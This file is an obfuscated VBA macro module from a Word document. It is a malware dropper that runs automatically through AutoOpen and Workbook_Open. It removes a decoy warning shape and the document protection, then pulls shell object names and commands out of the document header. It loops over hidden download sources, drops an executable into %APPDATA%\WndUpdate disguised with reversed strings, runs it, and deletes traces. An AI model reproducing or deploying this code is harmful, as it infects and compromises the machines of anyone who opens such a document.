Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal.ThisDocument"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True

Option Explicit

Dim DhuBaoK



Function yza5b9ccHV(ByVal LebuGNcc4, ByVal qLkz_Rm, ByVal hpwy02E)

    DhuBaoK = LebuGNcc4.Run(qLkz_Rm, 0, hpwy02E)

End Function



Sub AutoOpen()

    On Error Resume Next

    Workbook_Open

End Sub



Sub Workbook_Open()

    On Error Resume Next

    Dim xeH94lQ

    Dim TYaoqXEDj: TYaoqXEDj = False

    For xeH94lQ = 1 To ActiveDocument.Shapes.Count

        If ActiveDocument.Shapes(xeH94lQ).AlternativeText = "fkwarning" Then

            ActiveDocument.Protect wdNoProtection

            ActiveDocument.Unprotect

            ActiveDocument.Shapes(xeH94lQ).Delete

            ActiveDocument.Range(0, 2).Delete

            TYaoqXEDj = True

            Exit For

        End If

    Next xeH94lQ

    If TYaoqXEDj = False Then

        Exit Sub

    End If

    ActiveDocument.Range.Font.Hidden = False

    Dim VguG5BatUP: VguG5BatUP = Split(ActiveDocument.Sections(1).Headers(1).Range.Text, "|")

    ActiveDocument.Sections(1).Headers(1).Range.Delete

    Dim N5wSJLd: Set N5wSJLd = CreateObject(VguG5BatUP(1))

    Dim p_gB8qHb: p_gB8qHb = "%APP" & StrReverse("e.cbr\etadpUdnW\%ATAD") & "xe"

    Dim VKAGLZARahRu: VKAGLZARahRu = p_gB8qHb

    If Left(p_gB8qHb, 1) = "%" Then

        Dim WNotRb_0: WNotRb_0 = InStr(2, p_gB8qHb, "%")

        If WNotRb_0 > 0 Then

            VKAGLZARahRu = Environ(Mid(p_gB8qHb, 2, WNotRb_0 - 2))

            VKAGLZARahRu = VKAGLZARahRu & Mid(p_gB8qHb, WNotRb_0 + 1)

        End If

    End If

    Dim Z_PX0uH2X: Z_PX0uH2X = VKAGLZARahRu

    Z_PX0uH2X = Left(Z_PX0uH2X, InStrRev(Z_PX0uH2X, "\"))

    Dim gf1CImzf9nY: Set gf1CImzf9nY = CreateObject(VguG5BatUP(2))

    Application.Run "yza5b9ccHV", N5wSJLd, Replace(VguG5BatUP(3), "%REPL1%", Z_PX0uH2X), True

    Dim Bqhbcp5eAJP: Bqhbcp5eAJP = Split(StrReverse(VguG5BatUP(6)), " ")

    Dim sINYCVh

    For sINYCVh = 0 To UBound(Bqhbcp5eAJP)

        Kill VKAGLZARahRu & VguG5BatUP(0)

        Dim xrUYBgDyIZC: xrUYBgDyIZC = Replace(VguG5BatUP(4), "%REPL1%", Bqhbcp5eAJP(sINYCVh))

        xrUYBgDyIZC = Replace(xrUYBgDyIZC, "%REPL2%", p_gB8qHb & VguG5BatUP(0))

        xrUYBgDyIZC = Replace(xrUYBgDyIZC, "%REPL3%", Z_PX0uH2X)

        DhuBaoK = 1

        Application.Run "yza5b9ccHV", N5wSJLd, xrUYBgDyIZC, True

        If DhuBaoK = 0 Then

            Exit For

        End If

    Next sINYCVh

    Kill VKAGLZARahRu & VguG5BatUP(0)

    If DhuBaoK = 0 Then

        Application.Run "yza5b9ccHV", N5wSJLd, Replace(VguG5BatUP(5), "%REPL1%", VKAGLZARahRu), False

    End If

    ActiveDocument.Save

End Sub